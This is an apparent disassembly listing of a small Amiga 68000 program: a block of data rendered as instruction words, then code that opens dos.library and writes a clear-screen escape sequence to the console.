DC.W $603D ;6FC
DC.W $BEFA ;6FE
DC.W $BEFA ;700
DC.W $BEFA ;702
DC.W $BEFA ;704
MOVE.L (A0),(A1) ;706: 2290
DC.W $6B5D ;708
AND D0,-(A5) ;70A: C165
SUBQ.L #1,(A7)+ ;70C: 539F
TST -(A1) ;70E: 4A61
CMP A1,D6 ;710: BC49
MOVE.L (A0),(A1) ;712: 2290
CMP -(A5),D6 ;714: BC65
SBCD D3,D0 ;716: 8103
DC.W $4344 ;718
SUBQ.B #1,(A6)+ ;71A: 531E
SUBQ.L #1,(A6)+ ;71C: 539E
CMP D5,D6 ;71E: BC45
DC.W $FBE1 ;720
MULS -(A1),D5 ;722: CBE1
DC.W $95FE ;724
DC.W $75FE ;726
DC.W $4347 ;728
DC.W $603D ;72A
SGT 24156(A6) ;72C: 5EEE5E5C
DC.W $3E3D ;730
MOVE.L (A0),(A1) ;732: 2290
DC.W $3EEE ;734
SMI D1 ;736: 5BC1
MOVE 8848(A6),(A7)+ ;738: 3EEE2290
ASL -(A7) ;73C: E1E7
DC.W $39C8 ;73E
DC.W $A37D ;740
SBCD D2,D7 ;742: 8F02
DC.W $39C8 ;744
MOVE.L (A0),(A1) ;746: 2290
SUBQ #1,16110(A0) ;748: 53683EEE
CMP A1,D7 ;74C: BE49
CMPA -(A7),A7 ;74E: BEE7
DC.W $3DCD ;750
CMPM.B (A3)+,(A6)+ ;752: BD0B
DC.W $3D7D ;754
DC.W $A15D ;756
CMPM.B (A1)+,(A1)+ ;758: B309
CMP 24302(A1),D6 ;75A: BC695EEE
AND D0,(A5) ;75E: C155
DC.W $C170 ;760
DC.W $3E3D ;762
DC.W $DF3B ;764
ADD 17188(A1),D6 ;766: DC694324
MOVE.L D4,-(A0) ;76A: 2104
SECTION S_1,CODE
SECSTRT_1:
SUBI.B #$04,(A7) ;76C: 04170004
LEA LAB_0016(PC),A1 ;770: 43FA0034
MOVE.L #$0000001F,D0 ;774: 203C0000001F
JSR -552(A6) ;77A: 4EAEFDD8
MOVEA.L D0,A6 ;77E: 2C40
BEQ.S LAB_0015 ;780: 6720
JSR -60(A6) ;782: 4EAEFFC4
MOVE.L D0,D1 ;786: 2200
LEA LAB_0017(PC),A0 ;788: 41FA0028
MOVE.L A0,D2 ;78C: 2408
MOVEQ #4,D3 ;78E: 7604
JSR -48(A6) ;790: 4EAEFFD0
TST.L D0 ;794: 4A80
BMI.S LAB_0014 ;796: 6B04
MOVEQ #0,D0 ;798: 7000
LAB_0013:
RTS ;79A: 4E75
LAB_0014:
JSR -132(A6) ;79C: 4EAEFF7C
BRA.S LAB_0013 ;7A0: 60F8
LAB_0015:
MOVEQ #20,D0 ;7A2: 7014
RTS ;7A4: 4E75
LAB_0016:
DC.W $646F ;7A6
DC.W $732E ;7A8
DC.W $6C69 ;7AA
DC.W $6272 ;7AC
DC.W $6172 ;7AE
DC.W $7900 ;7B0
LAB_0017:
SUBX -(A0),-(A5) ;7B2: 9B48
SUBX -(A2),-(A5) ;7B4: 9B4A
DC.W $0000 ;7B6
END